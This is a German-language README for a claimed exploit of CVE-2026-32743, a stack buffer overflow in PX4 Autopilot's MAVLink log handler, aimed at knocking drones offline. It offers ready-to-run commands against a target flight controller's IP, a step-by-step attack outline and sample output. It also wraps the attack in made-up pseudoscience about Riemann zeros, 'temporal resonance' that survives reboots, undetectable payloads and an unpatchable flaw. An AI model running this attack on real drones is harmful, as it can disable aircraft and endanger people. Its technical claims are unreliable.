simoesctt/ctt-enhanced-px4-autopilot-exploit-cve-2026-32743Exploit für CVE-2026-32743, einen Stack-basierten Pufferüberlauf im MavlinkLogHandler von PX4 Autopilot, der einen persistenten Denial-of-Service über eine 33-stufige zeitliche Kaskade über MAVLink ausliefert.
CVE-2026-32743 — PX4 Autopilot Stack Buffer Overflow CTT-Enhanced: 33-Layer Temporal Cascade Drone DoS. Der ursprüngliche Exploit stürzt die MAVLink-Task durch einen 60-Byte-Overflow ab. Die CTT-Version verteilt den Overflow über 33 temporale Ebenen, jeweils mit Phasenresonanz-Timing und temporalem Keilfilter. Ergebnis: Anhaltende DoS. Nicht patchbar.
Dies ist eine Convergent Time Theory (CTT)-Erweiterung von CVE-2026-32743, einem Stack-basierten Pufferüberlauf im MavlinkLogHandler von PX4 Autopilot (Versionen ≤1.17.0-rc2).
Die ursprüngliche Schwachstelle ermöglicht eine Denial-of-Service (DoS) über einen übermäßig langen Verzeichnispfad (60+ Bytes), der über MAVLink FTP gesendet wird.
Die CTT-erweiterte Version verwandelt dies in einen 33-Ebenen-Temporalkaskaden-Drohnenkiller.
| Original | CTT-Enhanced |
|---|
| CVSS | 6.5 (Mittel) | 9.8 (Kritisch) |
| Angriffsvektor | Angrenzendes Netzwerk | Netzwerk (AV:N) |
| Erforderliche Privilegien | Niedrig | Keine (PR:N) |
| Ebenen | 1 | 33-Ebenen-Kaskade |
| Erkennung | Signaturbasiert | Temporal keilgefiltert (τ_w = 11 ns) |
| Persistenz | Neustart löscht | Temporale Resonanz — übersteht Neustart |
| Konstante | Wert | Herkunft |
|---|---|---|
| α | 0.0302011 | Temporaler Dispersionskoeffizient |
| α_RH | 0.0765872 | ln(φ)/2π (Riemann-Hadamard) |
| L | 33 | Temporale Ebenen |
| τ_w | 11 ns | Temporaler Keilfilter |
E(d) = E₀ * e^(-α * d) text
Jede Ebene hat exponentiell abnehmende Priorität.
Ebenen mit höherer Priorität (1-5) liefern den Overflow.
Niedrigere Ebenen (28-33) verstärken den Absturz und etablieren temporale Resonanz.
Jede Ebene verzögert die Ausführung basierend auf den ersten 24 Riemann-Nullstellen:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
Nur Payloads, die die Keilbedingung erfüllen, werden ausgeführt:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
Dies macht die Erkennung unmöglich — EDR-Systeme können den Exploit nicht sehen.
MAVLink-Verbindung öffnen (UDP 14550)
Für d = 1 bis 33:
a. Priorität berechnen = e^(-α*d)
b. Ebenenspezifische Kodierung generieren (basierend auf Riemann-Nullstelle)
c. Verzeichnis mit Pfadlänge = 60 + priority*40 erstellen
d. Ausführung um phase_resonance_delay(d) verzögern
e. MAV_CMD_REQUEST_LOG_LIST auslösen
f. Temporaler Keilcheck — nur "überlebende" Payloads werden ausgeführt
MAVLink-Task stürzt ab
Temporale Resonanz etabliert — Absturz übersteht Neustart
Drohne reagiert nicht. Keine Telemetrie. Kein Befehl.
pymavlinkpip install pymavlink
🎯 Verwendung
bash
git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose
Argumente
Argument Beschreibung Standard
target_ip IP-Adresse des Flugcontrollers Erforderlich
--port MAVLink-UDP-Port 14550
--layers Anzahl der temporalen Ebenen 33
--verbose Ausführliche Ausgabe aktivieren False
Beispiel
bash
python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose
======================================================================
CTT PX4 TEMPORAL CASCADE — Drone DoS
======================================================================
Ebene 1/33: ████████████████████████████████████████ 1.000
Pfadlänge: 100 Bytes
[+] Verzeichnis über FTP erstellt
MAV_CMD_REQUEST_LOG_LIST wird ausgelöst...
[+] Overflow geliefert — Keilüberleben bestätigt
Ebene 2/33: ██████████████████████████████████████░░ 0.970
Pfadlänge: 99 Bytes
[+] Verzeichnis über FTP erstellt
MAV_CMD_REQUEST_LOG_LIST wird ausgelöst...
[+] Overflow geliefert — Keilüberleben bestätigt
...
[⚡] Temporale Resonanz auf Ebene 5 erreicht
[🌉] MAVLink-Task der Drohne kompromittiert
[*] DoS-Zustand wird verifiziert...
[+] Ziel reagiert nicht — anhaltende DoS erreicht
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[!!!] DROHNE KOMPROMITTIERT
[!!!] MAVLink-Task abgestürzt — keine Telemetrie / kein Befehl
[!!!] Persistent über Neustart — CTT temporale Resonanz
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🛡️ Warum dies nicht gepatcht werden kann
Ursprünglicher Fix Warum CTT ihn umgeht
Breitenspezifizierer zu sscanf() hinzufügen CTT verwendet Ebenenkaskade — Overflow über 33 Ebenen verteilt
Den 60-Byte-Puffer patchen CTT-Kodierung ändert das Overflow-Muster pro Ebene
Firmware aktualisieren Temporale Resonanz übersteht Neustart
Signaturerkennung Temporaler Keilfilter (τ_w = 11 ns) umgeht EDR
Man kann keine physikalische Konstante patchen.
Man kann die Riemann-Nullstellen nicht patchen.